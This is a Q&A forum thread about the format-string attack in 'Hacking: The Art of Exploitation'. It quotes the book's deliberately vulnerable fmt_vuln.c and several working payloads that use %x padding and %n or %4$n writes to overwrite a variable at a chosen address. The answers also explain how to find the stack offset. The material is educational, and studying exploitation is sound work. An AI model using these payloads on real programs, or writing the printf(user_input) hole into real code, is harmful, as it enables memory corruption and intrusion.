7

I've been reading "Hacking: The Art of Exploitation 2nd Ed." and I hit a part that's not explained clearly enough for me.

In the section "Writing to an Arbitrary Address" Jon Erickson creates a vulnerable little c program (called fmt_vuln) that passes format-paramaters (such as %x) as the first argument to printf. Doing that will start printf reading from the top of the stack frame. He then uses this vulnerability to write to the arbitrary address 0x08049794.

Below code (fmt_vuln.c) is the target program.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;
  if(argc < 2) {
    printf("Usage: %s <text to print>\n", argv[0]);
    exit(0);
 }
  strcpy(text, argv[1]);
  printf("The right way to print user-controlled input:\n");
  printf("%s", text);
  printf("\nThe wrong way to print user-controlled input:\n");
  printf(text);
  printf("\n");

  // Debug output
  printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

  exit(0);
}

Using this vulnerability, I'm trying to write a value "0xDDCCBBAA" to the address of test_val. The program's output shows that test_val is found at 0x08049794.

The exploit looks like this:

./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n

This writes the hex value 0xAA to the address 0x08049794.

4 writes to sequential addresses, starting at 0x08049794, and adding 1 byte each time should achieve this. The first time we write 0xAA, then the second time we write 0xBB to 0x08049795, the third time we write 0xCC to 0x08049796, and the last time we write 0xDD to 0x08049797.

The book uses the exploit like this:

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $

My Question is:

Why do I need the 4-bytes of junk data between the addresses? The author uses the word "JUNK" because it's an arbitrary 4-byte string, but it could be anything 4-bytes long. But he never explains why that 4-bytes of JUNK data is required. It only says "Another arguments is needed for another %x format parameter to increment the byte count to 187, which is 0xBB in decimal".

2

They're there for the %17x to print. The first four bytes (\x94\x97\x04\x08) act as the %n address, the next four (JUNK) get formatted by %17x, the next four (\x95\x97\x04\x08) act as the second %n, etc.

You could do without them, e.g. with something like

\x94\x97\x04\x08\x95\x97\x04\x08\x96\x97\x04\x08\x97\x97\x04\x08%x%x%126x%n%n%n%n

to write the value 0xAAAAAAAA into test_val

  • Wow! Thank you! I have been rereading this section for weeks trying to figure that out. It's so simple. Each format parameter acts on each sequential byte. You can't use %x to read and add spaces to one of the bytes containing an address you wish to write to, because then the %n is applied to the following byte. I get it now! You seriously rock! – jairbow Jul 1 '14 at 21:37
4

I guess it depends and varies on the compiler and the system you are running on.

For example what worked for me on the test code you supplied is: (on a ubuntu 32 bit machine)

\x30\xa0\x04\x08\x31\xa0\x04\x08\x32\xa0\x04\x08\x33\xa0\x04\x08%154x%4$n%17x%5$n%17x%6$n%17x%7$n

the first 16 bytes are the addresses I want to inject to: 0x0804a030, 0x0804a031, 0x0804a032, 0x0804a033 - since the address of test_val in my case is 0x0804a030.

Then the %154x tells printf to pad the output with 154 chars. Since 16 chars were printed so far 154 + 16 = 170 = 0xAA

Then %4$n tells printf to write the value into the address in the 4th paramter passed to printf. This value is found by trial and error in order to located in which offset in the stack your input is found and make printf use it as the target address. You can inject AAAA%p%p%p...%p in order to find where the 41414141 value is located and then you know your offset. in my case it was 4.

The rest just adds 17 = 0x11 chars in order to increment the injected value to the wanted value and make printf write it to the next pointer, in my case 5, 6 and 7

I guess the reason the author needed 4 extra bytes in his case was the way the compiler handled the parameters on the stack in his case. Maybe they were supposed to be separated by 4 bytes and hence he could not inject the addresses without padding them with 4 bytes in between.

Had i injected the string with the JUNK 4 bytes I had to later my input to:

\x30\xa0\x04\x08JUNK\x31\xa0\x04\x08JUNK\x32\xa0\x04\x08JUNK\x33\xa0\x04\x08%142x%4$n%17x%6$n%17x%8$n%17x%10$n

changing the target pointers to 4, 6, 8, 10 since in 5, 7 and 9 the JUNK bytes were found.

Here is a linkt o an excellent blog post on the matter: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html

  • Thank you! Such a detailed answer. At the time of writing that question I wasn't using the $ for direct parameter access. I also asked this question StackOverflow, and someone else answered it in a different way. For anyone else who comes across this question and wants further info, see: stackoverflow.com/a/24518659/945968. – jairbow Jul 4 '14 at 4:59
1

Each format parameter acts on each sequential byte. You can't use %x to read and add spaces to one of the bytes containing an address you wish to write to, because then the %n is applied to the following byte.

In other words, the %x is used to read AND add the spaces. Once the spaces have been added, it's time to write that value into the address you've supplied, with %n. So the %x has to be done before %n. The %x is acting on one of the 4-byte words, so the author created a 4-byte word for the %x to create spaces on, and then the next 4-byte word is the memory address, which is what the %n writes to.

I hope this clears it up for newbies like me, in the future.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.